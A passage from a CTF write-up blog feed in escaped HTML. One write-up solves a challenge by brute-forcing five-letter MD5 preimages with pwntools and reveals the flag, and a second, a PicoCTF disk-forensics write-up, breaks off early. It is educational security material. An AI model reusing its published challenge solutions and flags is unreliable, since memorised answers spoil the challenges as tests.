light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;    exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Invalid&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In this case, the program would exit if the guess is &lt;strong&gt;NOT&lt;&#x2F;strong&gt; 5 alphabetic characters. This matches the behavior we’ve seen when running the compiled binary and leads us to different assumptions about the possible problem space. Restricting our guess to all lowercase alphabetic characters means we only have $ 26^5 $ possibilities. That comes out to a measly 11,881,376 possible guesses. We should be able to write a program to do that for us. Enter &lt;code&gt;brute.py&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;solution&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution&quot; aria-label=&quot;Anchor link for: solution&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt; brute.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #B6927B);&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; hashlib&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #B6927B);&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #B6927B);&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwnlib&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;util&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;iters&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #B6927B);&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; bruteforce&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; mbruteforce&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span&gt;hash_patterns&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;^d.0.....f5...5.6.7.1.30.6c.d9..0$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;^1b.8.1.c........09.30.....64aa9.$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;^c.d.1.53..66.4.43bd.......59...8$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;10&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;^.d.d.076........eae.3.6.85.a2...$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;12&lt;&#x2F;span&gt;&lt;span&gt;hash_regexes&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; [&lt;&#x2F;span&gt;&lt;span&gt;re&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;compile&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; hash_patterns&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;13&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;14&lt;&#x2F;span&gt;&lt;span&gt;guess_len&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;15&lt;&#x2F;span&gt;&lt;span&gt;charset&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;abcdefghijklmnopqrstuvwxyz&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;16&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;17&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; regex&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; hash_regexes&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;18&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Searching for match for &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;regex&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;19&lt;&#x2F;span&gt;&lt;span&gt;    found&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt; mbruteforce&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8992A7);&quot;&gt;lambda&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt; guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;20&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;        regex&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;hashlib&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;md5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;hexdigest&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;21&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;        alphabet&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;charset&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;22&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;        length&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;guess_len&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;23&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;    )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;24&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; found&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #C4B28A);&quot;&gt; is&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt; None&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;25&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;No matches found&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;26&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    else&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;27&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;FOUND: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;found&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;, MD5: &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;hashlib&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;md5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;found&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;hexdigest&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #B6927B);&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The program uses &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.pwntools.com&#x2F;en&#x2F;stable&#x2F;util&#x2F;iters.html?highlight=mbruteforce#pwnlib.util.iters.mbruteforce&quot;&gt;pwntools&lt;&#x2F;a&gt; to generate all the possible combinations given our set of lowercase alphabetic characters. It then generates the md5 hash using the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;hashlib.html#module-hashlib&quot;&gt;&lt;code&gt;hashlib&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; library and compares it against the hash from the &lt;code&gt;hashes&lt;&#x2F;code&gt; list.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ python brute.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Searching for match for re.compile(&amp;#39;^d.0.....f5...5.6.7.1.30.6c.d9..0$&amp;#39;)...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;FOUND: cvctf, MD5: d70146aef5a8e5364791d3006ccd9c00&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Searching for match for re.compile(&amp;#39;^1b.8.1.c........09.30.....64aa9.$&amp;#39;)...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;FOUND: hashi, MD5: 1bd8d1fc2b9ad2bb0943056ecf64aa97&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Searching for match for re.compile(&amp;#39;^c.d.1.53..66.4.43bd.......59...8$&amp;#39;)...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;FOUND: snotg, MD5: cdd01c536d66a4943bd8bf6f5d59c0c8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Searching for match for re.compile(&amp;#39;^.d.d.076........eae.3.6.85.a2...$&amp;#39;)...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;FOUND: uessy, MD5: 8d1d70762f431cd9eaec3967859a2b4b&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h1 id=&quot;flag&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#flag&quot; aria-label=&quot;Anchor link for: flag&quot;&gt;Flag&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;Et voilà, we have our flag! &lt;code&gt;cvctf{hashisnotguessy}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</description>
      </item>
      <item>
          <title>PicoCTF 2022 - Operation Orchid</title>
          <pubDate>Sun, 29 May 2022 00:00:00 +0000</pubDate>
          <author>Cameron Blankenbuehler</author>
          <link>https://www.cblanken.dev/blog/operationorchid/</link>
          <guid>https://www.cblanken.dev/blog/operationorchid/</guid>
          <description xml:base="https://www.cblanken.dev/blog/operationorchid/">&lt;p&gt;The challenge description goes as follows:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Download this disk image and find the flag.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;We’re then given an option to download the mentioned compressed disk image (disk.flag.img.gz). Decompress the archive with &lt;code&gt;gunzip disk.flag.img.gz&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s check what kind of disk image this is:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ file disk.flag.img&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;disk.flag.img: DOS&#x2F;MBR boot sector; partition 1 : ID=0x83, active, start-CHS (0x0,32,33), end-CHS (0xc,223,19), startsector 2048, 204800 sectors; partition 2 : ID=0x82, start-CHS (0xc,223,20), end-CHS (0x19,159,6), startsector 206848, 204800 sectors; partition 3 : ID=0x83, start-CHS (0x19,159,7), end-CHS (0x32,253,11), startsector 411648, 407552 sectors&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
